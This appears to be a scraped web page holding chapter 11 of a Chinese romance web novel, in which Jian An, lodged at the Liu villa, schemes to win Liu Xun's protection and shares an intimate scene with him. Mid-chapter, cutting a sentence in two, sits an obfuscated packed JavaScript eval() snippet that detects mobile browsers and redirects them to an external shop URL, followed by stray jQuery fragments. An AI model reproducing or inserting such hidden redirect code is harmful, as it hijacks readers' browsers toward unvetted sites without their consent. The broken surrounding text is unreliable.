文趣网 > 都市小说 > 雀落高枝 > 11. 第 11 章
    “……娘子,这便是为您安排的卧房,不知可有需要添置的东西。”

    前方约莫三十余岁的妇人垂着头,身体微微弓着,礼仪严谨地挑不出半丝毛病。

    简安对这样的情况有些陌生,略不习惯地蜷了下手,说:“不必了,已经很好。”

    妇人又行了一礼,便要退下。

    “等等,”简安叫住她,“我是头一次来此,也不知你们府上有何规矩……还有,你们公子的喜好,能劳烦你,给我讲讲嘛?”

    “娘子客气了,叫奴婢秋婉便是。”

    妇人答得恭谨,但出乎意料的,并没有任何犹豫。

    “此处只是柳家别苑,平素并无主家居住,故此无甚特殊规矩,主子的吩咐就是规矩。”

    “至于三公子,他一向喜静,除了长风,其他下人均不许近身,此外,公子极爱书,不诳圣人之言还是戏剧话本,都涉猎甚广,故而最常待的所在就是书房。”

    戏剧话本?

    这倒着实令人意外了。

    简安想了想,试探道:“我瞧你比我大上一些,那我便冒昧称一声嫂子吧……秋嫂子,这些话,是你们公子让你告诉我的吗?”

    虽是才见面,但她看得出这妇人绝不是鲁莽之人,会如此毫无顾忌与她透露主家信息,一定是先前得了吩咐。

    谁知秋婉却否认道:“娘子误会了,这些是您问起,我才答的,并非公子示意……若真言及吩咐,公子也只交代了一句——娘子之命,等同公子。”

    简安怔了下,勉强笑道:“我知晓了,多谢秋嫂子。”

    秋婉还是原本的恭敬模样,一丝不苟行过礼,这才退了出去。

    简安扶着桌沿,慢慢坐了下来。

    她是被柳询直接带到此处的。从周家离开,上了马车,期间未与她有任何交谈。当然,也未告知她会来此。

    简安想,他应当是还在生气的。

    毕竟发现了被自己利用,对他那样的人来说,应当不是先前的简单惩罚就能了结的。

    所以,他带自己来这,是为了报复?

    不,简安很快否掉这个猜测,只是报复何须大费周章将她带出,周家是个更合适的地方。

    她回想着之前发生的种种细节,有了一个更可靠的猜想。

    柳询,大约是要她主动认错的,或者说,他需要的,是她更主动、虔诚地献上自己。

    简安并非不通人事的稚童,头先几次接触,她就隐约察觉出了这人对她的兴趣。即便他从未直接说过,即便他克制的很好,但那种暗自压制着什么的神情,简安相信自己不会看错。

    如此,也就能解释,为何他那样冷淡的性子,在得知自己欺骗的“真相”后,竟只轻飘飘给了个教训。

    他与周谨成抱着一样的心思,只是他比周谨成更傲慢。

    他甚至从头到尾,都不愿脏一下自己的手。

    简安微微垂下眼,心想,真巧,这恰好也是她需要的东西。

    她和家人如果要离开苏州府,必须要官府签发的文引,但只要许奉贤在苏州任知州一天,就绝不会让她拿到文引。

    简安需要隐藏的身份,需要能从官府轻易拿到文引的人,还需要能暂时庇护她远离周谨成的靠山。

    而这些,柳询都可以办到。

    所以,这不过是桩公平的交易。

    ……真算起来,大约还是他更吃亏些,毕竟从难度上看,他想要美貌女子,轻而易举,而她需要的这些东西,却没几个人能弄到。

    要是真的成功,以他的性子,说不定要比现在气恼十倍吧?

    不过,那时自己大约已经带着爹娘他们彻底消失,他便是再气也与她无关了。

    简安想着柳询脸色漆黑的样子,嘴角轻轻牵动了下。

    但很快,那点笑意又迅速淡去,再寻不到一丝痕迹。

    *

    “主子,周家那边查过了……听说,秦夫人是在宴席上公然被架走的,中间依稀还出过什么事,有个小丫头说,她瞧见夫人被人狠狠踢了下,似乎立时就走不动了。”

    柳询想起了那人脚踝上,成片的青紫色痕迹。

    “咚、咚、咚。”

    他的手指敲击在书案上,一下一下,很有节律,但又莫名叫人心惊。

    长风低着头,一句话也不敢多说。

    良久,他听见上首传来声音。

    “谁动的手,查清楚,回头,叫他也躺上半月。”

    长风张张嘴,小心提醒道:“……公子,我们不能暴露身份。”

    柳询慢慢抬头,视线落向他。

    “我是纨绔子弟,今日刚为她从周谨成手里抢人,眼下不过是再为她教训个不长眼的,有哪里不对嘛。”

    长风当即噤声,“属下这就去办。”

    “嗯,”柳询淡淡应了声,“还有,秦东山那里……”

    话未说完,却被外间一阵敲门声打断。

    “柳公子,可以进来吗,妾为你准备了羊肉粉羹。”

    “……”

    长风悄悄瞧了上首一眼,试探道:“主子,那,属下先告辞了?”

    柳询没有回答,只是伸手拿过了一旁的书册。

    长风会意,当即行了一礼,默默退到房门处。

    “秦夫人,我家公子请您进去。”

    ……

    “多谢。”

    简安对人微微颔首,端着托子小心走了进去。

    不同于他处,书房内的灯似照得格外亮,甚至能隐隐听见噼啪的燃烧声。

    一扇乌木嵌螺钿山水纹屏风将空间切分为了内外两块,待简安绕过,便瞧见了里间的人正安静地伏案读书。

    平心而论,柳询生得是极好的,尤其是在烛火的映衬下,眉宇间越发显得冷淡,颇有几分飘渺出尘的谪仙气度。

    简安收回视线,木制的托子与书案相碰,发出轻微响声。

    “公子这样用功,也该歇歇了,”她说,“用些羹汤吧,是妾亲自煮的。”

    说着,打开盖碗,用汤匙盛出一些,递到人跟前。

    清淡的香气让柳询愣了下神。

    他仔细瞧了那碗羹汤片刻,放下书,轻轻舀起一勺。

    片刻后,将汤匙放回了碗中。

    “……这是后厨徐年的手艺。”

    简安端点心盘子的手不易察觉一顿。

    “是徐伯教妾做的,”她面不改色道,“说公子喜欢这个味道…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915867|213294||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …我不敢乱动,怕叫公子不喜欢。”

    柳询勾起唇角,也不去拆穿她的谎言,指了指那些明显与城中某家铺子里一模一样的点心,“那这又是谁教你做的?”

    “这个不是我做的,”简安半蹲下身子,水盈盈的眼睛定定看着他,“而是妾最爱吃的,故此希望三郎也喜欢。”

    “……”

    三郎。

    倒真是有段日子不曾听过这样的称呼了。

    柳询说:“徐年难道没告诉你,只有我母亲与姐姐可以如此称呼我嘛。”

    他说这话时,眼中情绪很淡,像是有些不高兴。

    简安敏锐察觉到了,但却故意忽略,摇头道:“他只说你在家中行三。”

    柳询想,徐年还真是老了,这样明显的疏漏也能出。河东柳氏乃千年世家,族内关系庞杂,若真是“柳询”,怎可用家中行三介绍,稍懂些门道的,恐是立刻要觉出异常了。

    只不过……他瞧了眼前方女子,她大约,是什么都听不出来的。

    “我的确行三,”他说,“家中还有两个姐姐。”

    停顿了下,他又看向那盘子精致的糕点,道:“你这口味倒是应当与她们合得来。”

    说这一句时,他的眼睛略略弯了下,像是在笑,又像是单纯表达某种喜悦的情绪,整个人在那一瞬间竟显得有些温柔。

    简安猜,他大约是与家中人关系很好的,所以才会只是提到一点就表现得如此不同。

    她想就着这个话题再多问一些,也许能叫他稍放下些戒心。

    但张了张口,已到喉咙的话还是咽了下去。

    她或许是个营私之人,但到目前为止,还不想变得卑劣。

    简安转移了话题。

    “那三郎呢,你也喜欢嘛?”

    柳询察觉了她话中隐藏的意思,指尖轻点了一下书案,淡淡道:“你可以试试。”

    空气忽然变得寂静。

    洁白的云片糕轻薄如纸,在烛光映衬下显出一点凝脂一般的光泽。

    简安喉头动了下,轻轻咬住一角,慢慢向人送了过去。

    清甜的味道在舌尖一点点化开,蔓延到牙齿,唇瓣,随后是整个口腔。

    空气似乎开始稀薄,简安感到难以呼吸。

    “噼啪。”

    烛火燃烧,将两人重叠的影子在地上拉出长长的、蜿蜒的一条。

    简安感觉到握在腰间的手逐渐开始收紧,湿热的气息在二人之间纠缠,她开始有些承受不住,不自觉扶住男子结实的肩膀。

    但触手所及之处也尽是滚烫的,几乎要将她整个人烧灼。

    “啪嗒!”

    这次是书册落地的响声。

    柳询身体一僵,猛地放开了身前的人。

    他手撑着书案,木头的冰冷顺着掌心传递到大脑,终于让他躁动的思绪寻回了些理智。

    不,他告诉自己,眼下并不是时候。

    此刻若真做些什么,却是遂了她的愿。

    不过简单做些戏,就想要轻松得偿所愿,世上哪有这么容易的事。

    他退后一步,下唇上还带了一点水意,但神色已恢复了冷淡。

    “今晚,到此为止。”他说。